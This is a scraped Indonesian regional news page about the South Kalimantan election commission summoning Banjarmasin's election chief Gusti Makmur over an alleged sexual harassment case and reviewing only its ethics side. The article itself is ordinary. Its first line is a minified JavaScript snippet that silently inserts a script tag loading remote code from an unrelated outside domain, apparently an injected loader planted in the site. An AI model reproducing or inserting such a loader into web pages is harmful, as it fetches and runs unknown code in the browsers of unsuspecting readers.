(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemanggilan Gusti Makmur, KPU Kalsel: Kami Hanya Menyentuh Aspek Etik Saja!


KANALKALIMANTAN.COM, BANJARMASIN – Pemanggilan Ketua KPU Kota Banjarmasin Gusti Makmur oleh KPU Provinsi Kalsel, merupakan tindak lanjut dari kasus dugaan pelecehan seksual yang diduga menyeretnya. Alih-alih melihat dari aspek hukum KPU Provinsi Kalsel sendiri hanya melihatnya dari aspek etik, apalagi Gusti Makmur merupakan pimpinan penyelenggara pemilu di Kota Banjarmasin.

“Kita hanya menyentuh aspek etiknya saja, karena itu terkait dengan posisi yang bersangkutan sebagai penyelenggara pemilu,” kata Plh Ketua KPU Provinsi Kalsel Siswandi Reya’an, Selasa (21/1/2020) siang.

Siswandi beralasan, dari aspek hukum karena menurutnya itu merupakan persoalan yang berbeda. Apalagi, kasus dugaan pelecehan seksual ini prosesnya tengah ditangani oleh Kepolisian dan Kejaksaan.

Lebih lanjut Komisioner KPU Provinsi Kalsel Edy Ariansyah menambahkan, pihaknya masih terus menggali informasi dan klarifikasi terkait kasus ini. Karena masih ada beberapa hal yang perlu ditinjau dari pihak terkait.

“Sehingga kami duduk bersama berlima, setelah mendapatkan data-data dari berbagai pihak atau informasi dari pihak terkait. Baru kita akan simpulkan,” jelas Edy.

Lalu, apa ada rencana KPU Provinsi Kalsel untuk memanggil atau meminta informasi dari pihak terkait? Edy menyebut pihaknya akan membicarakannya lebih lanjut. “Insyaallah, masih kita bicarakan lebih lanjut lagi dengan teman-teman, pihak mana yang relevan (untuk) didapati informasi dan kita telusuri,” papar Edy.

Sayangnya, Edy belum bisa mengungkapkan dari klarifikasi yang disampaikan Gusti Makmur kepada komisioner KPU Provinsi Kalsel. Alasannya, karena informasi yang digali baru dari Gusti Makmur.

“Belum bisa disampaikan kepada publik, karena itu masih sepihak. Masih ada beberapa hal yang perlu kami dapati terkait informasi yang berkembang di media massa,” tegas Edy.

Edy pun menambahkan, apa yang dilakukan oleh KPU Provinsi Kalsel adalah pengawasan internal terhadap informasi yang mencuat di publik melalui media massa. Sehingga, pihaknya merespon sebagai keluhan publik terhadap jajaran penyelenggara pemilu.

“Agar hal tersebut tidak menjadi fitnah, kami panggil untuk meminta keterangan. Nanti kita lihat dulu, kendati belum kita buka hasil klarifikasi, tetapi akan kami simpulkan dari berbagai pihak,” tandas Edy. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.